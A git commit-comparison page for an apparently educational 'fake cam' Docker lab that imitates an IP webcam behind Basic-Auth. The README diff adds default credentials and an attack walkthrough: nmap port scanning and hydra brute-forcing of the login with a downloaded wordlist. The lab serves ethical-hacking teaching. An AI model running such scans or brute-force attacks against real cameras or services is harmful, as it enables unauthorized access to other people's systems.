Compare commits
13 Commits
ba42e29e61
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
| b0da2c76f5 | |||
| e7d69102b5 | |||
| cca068d9d1 | |||
| fd2634ce29 | |||
| 3b681c8cf6 | |||
| 765edabd7a | |||
| 3a727762b2 | |||
| fc910b5fdf | |||
| a3be4bf77a | |||
| 29015050e8 | |||
| cc3a8a0d8d | |||
| 00b6db6ca6 | |||
| 8ba844a81e |
@@ -1,3 +1,4 @@
|
||||
.gitignore
|
||||
docker-compose.yml
|
||||
LICENSE
|
||||
reports
|
||||
@@ -6,6 +6,9 @@ on:
|
||||
- ".gitignore"
|
||||
- "README.md"
|
||||
- "LICENSE"
|
||||
- "docker-compose.yml"
|
||||
- "video.mp4"
|
||||
- "reports/"
|
||||
branches:
|
||||
- master
|
||||
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
FROM nginx:alpine
|
||||
|
||||
# Installation de FFmpeg
|
||||
RUN apk add --no-cache ffmpeg
|
||||
|
||||
# Configuration
|
||||
COPY nginx.conf /etc/nginx/nginx.conf
|
||||
COPY htpasswd /etc/nginx/.htpasswd
|
||||
COPY index.html /usr/share/nginx/html/index.html
|
||||
|
||||
38
README.md
38
README.md
@@ -2,7 +2,7 @@
|
||||
|
||||
Fake cam is a simple docker container running a fake webcam. It is used for educational purposes to teach ethical hacking.
|
||||
|
||||
> Default creds are : admin | cam123
|
||||
> Default creds are : admin | xxxxxx
|
||||
|
||||
## Requirements
|
||||
|
||||
@@ -22,8 +22,42 @@ git clone https://git.phorge.fr/l-nmch/fake-cam.git
|
||||
docker compose build
|
||||
```
|
||||
|
||||
3. Run the container
|
||||
## Deploy
|
||||
|
||||
1. Run the container
|
||||
|
||||
```bash
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
2. Verify cam access
|
||||
|
||||
```bash
|
||||
curl -u admin:cam123 http://<ip>:3301
|
||||
```
|
||||
|
||||
## Attack
|
||||
|
||||
1. Install required tools
|
||||
|
||||
```bash
|
||||
apt install hydra curl nmap -y
|
||||
```
|
||||
|
||||
2. Download the [wordlist](./wordlist.txt)
|
||||
|
||||
```bash
|
||||
wget https://git.phorge.fr/l-nmch/fake-cam/raw/branch/master/wordlist.txt
|
||||
```
|
||||
|
||||
3. Find open ports:
|
||||
|
||||
```bash
|
||||
nmap -sC -sV <ip>
|
||||
```
|
||||
|
||||
4. Bruteforce Basic-Auth
|
||||
|
||||
```bash
|
||||
hydra -l admin -P wordlist.txt -s 3301 <ip> http-get /
|
||||
```
|
||||
@@ -4,9 +4,9 @@ services:
|
||||
container_name: fake-webcam-stream
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "8080:80"
|
||||
- "3301:80"
|
||||
volumes:
|
||||
- ./video.mp4:/video.mp4:ro
|
||||
- ./app:/app:ro
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>IP CAMERA</title>
|
||||
<title>Caméra IP Mayolis</title>
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||
body {
|
||||
@@ -54,7 +54,7 @@
|
||||
<div class="cam-frame">
|
||||
<video id="stream" autoplay muted playsinline disablepictureinpicture disableRemotePlayback></video>
|
||||
<div class="osd">
|
||||
<div class="osd-tl">CAM-01 | 512x512<br><span id="clock">00:00:00</span></div>
|
||||
<div class="osd-tl">CAM-STORE-01 | 512x512<br><span id="clock">00:00:00</span></div>
|
||||
<div class="osd-tr"><span class="rec-dot"></span> REC</div>
|
||||
<div class="osd-bl">H.264 | 1500K | LIVE</div>
|
||||
</div>
|
||||
|
||||
BIN
reports/rendu-attaque.odt
Normal file
BIN
reports/rendu-attaque.odt
Normal file
Binary file not shown.
BIN
reports/rendu-remédiation.odt
Normal file
BIN
reports/rendu-remédiation.odt
Normal file
Binary file not shown.
@@ -1,7 +1,7 @@
|
||||
#!/bin/sh
|
||||
echo "🎬 Démarrage du stream HLS optimisé (segments 2s)..."
|
||||
|
||||
ffmpeg -re -stream_loop -1 -i /video.mp4 \
|
||||
ffmpeg -re -stream_loop -1 -i /app/video.mp4 \
|
||||
-c:v libx264 -preset veryfast -b:v 1500k -maxrate 1500k -bufsize 3000k \
|
||||
-c:a aac -b:a 128k -ar 44100 \
|
||||
-force_key_frames "expr:gte(t,n_forced*2)" \
|
||||
|
||||
5063
wordlist.txt
Normal file
5063
wordlist.txt
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user